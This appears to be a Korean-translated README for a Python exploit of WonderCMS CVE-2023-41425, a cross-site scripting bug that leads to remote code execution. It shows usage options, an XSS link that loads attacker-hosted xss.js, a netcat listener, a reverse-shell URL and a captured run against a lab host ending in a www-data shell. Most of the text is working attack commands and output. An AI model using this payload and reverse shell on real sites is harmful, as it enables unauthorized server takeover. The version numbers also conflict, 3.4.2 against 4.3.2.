
# Wonder CMS XSS-to-RCE (CVE-2023-41425)용 Python 익스플로잇 악성 스크립트를 로컬에서 제공하여 외부 종속성 없이 원격 코드 실행을 가능하게 하는 Wonder CMS XSS-to-RCE (CVE-2023-41425)용 Python 익스플로잇입니다.
WonderCMS 버전 3.2.0부터 3.4.2까지의 사이트 간 스크립팅(XSS) 취약점으로, 원격 공격자가 installModule 구성 요소에 업로드된 조작된 스크립트를 통해 임의 코드를 실행할 수 있습니다. 이는 prodigiousMind의 원본 익스플로잇을 수정한 버전으로, 전체 익스플로잇을 외부 인터넷 연결 없이 로컬에서 제공하도록 확장합니다.
바다 한가운데 있으면서 자전거에 문제를 발견했다면 유용할 것입니다...
참고: xss.js는 데모용으로 저장소에 남겨져 있으며, 스크립트를 실행하면 이 파일을 사용자 구성으로 덮어씁니다.
usage: exploit.py [-h] -u URL -lh LHOST -lp LPORT -sh SRVHOST -sp SRVPORT
WonderCMS 4.3.2 XSS to RCE Exploit
options:
-h, --help show this help message and exit
-u URL, --url URL The login URL of the WonderCMS site (e.g., http://localhost/wondercms/loginURL)
-lh LHOST, --lhost LHOST
The IP address for the reverse shell listener
-lp LPORT, --lport LPORT
The port for the reverse shell listener
-sh SRVHOST, --srvhost SRVHOST
The local IP serving the malicious XSS JavaScript
-sp SRVPORT, --srvport SRVPORT
The local port serving the malicious XSS JavaScript
참고: 이 익스플로잇은 실행이 상당히 느릴 수 있습니다!
$python3 exploit.py -u http://sea.htb/loginURL -lh 10.10.14.101 -lp 7777 -sh 10.10.14.101 -sp 8888
##################################
# Wondercms 4.3.2 XSS to RCE #
# Original POC by prodigiousMind #
# Updated version by Ducksec #
##################################
Check you got this stuff right!
Parsed arguments:
URL: http://sea.htb/loginURL
LHOST: 10.10.14.101
LPORT: 7777
SRVHOST: 10.10.14.101
SRVPORT: 8888
[+] xss.js is created
[+] Execute the below command in another terminal:
----------------------------
nc -lvp 7777
----------------------------
Send the below link to admin:
----------------------------
http://sea.htb/index.php?page=loginURL?"></form><script+src="http://10.10.14.101:8888/xss.js"></script><form+action="
----------------------------
[+] Ensure that main.zip is still in this directory.
[+] Once the target successfully requests main.zip it's safe to kill this script.
[+] Once complete, you can also re-exploit by requesting: http://sea.htb/themes/revshell-main/rev.php?lhost=10.10.14.101&lport=7777
Starting HTTP server to allow access to xss.js
Serving HTTP on 0.0.0.0 port 8888 (http://0.0.0.0:8888/) ...
10.129.178.129 - - [02/Oct/2024 14:39:51] "GET /xss.js HTTP/1.1" 200 -
10.129.178.129 - - [02/Oct/2024 14:40:01] "GET /main.zip HTTP/1.1" 200 -
10.129.178.129 - - [02/Oct/2024 14:40:01] "GET /main.zip HTTP/1.1" 200 -
10.129.178.129 - - [02/Oct/2024 14:40:01] "GET /main.zip HTTP/1.1" 200 -
10.129.178.129 - - [02/Oct/2024 14:40:01] "GET /main.zip HTTP/1.1" 200 -
$nc -nvlp 7777
listening on [any] 7777 ...
connect to [10.10.14.101] from (UNKNOWN) [10.129.178.129] 39958
Linux sea 5.4.0-190-generic #210-Ubuntu SMP Fri Jul 5 17:03:38 UTC 2024 x86_64 x86_64 x86_64 GNU/Linux
13:40:01 up 4 min, 0 users, load average: 0.93, 0.49, 0.20
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ whoami
www-data
이 코드는 교육 및 윤리적인 보안 테스트 목적으로만 제공됩니다. 책임감 있게 사용해야 하며 명시적 승인이 있는 환경에서만 사용해야 합니다. 허가되지 않거나 악의적인 사용은 엄격히 금지됩니다. 이 코드를 사용함으로써 귀하는 해당 관할권에 적용되는 모든 법률, 규정 및 윤리 기준을 준수하는 데 동의합니다. 제작자와 기여자는 이 코드의 오용 또는 무단 사용으로 인해 발생하는 모든 손해나 결과에 대해 책임을 지지 않습니다.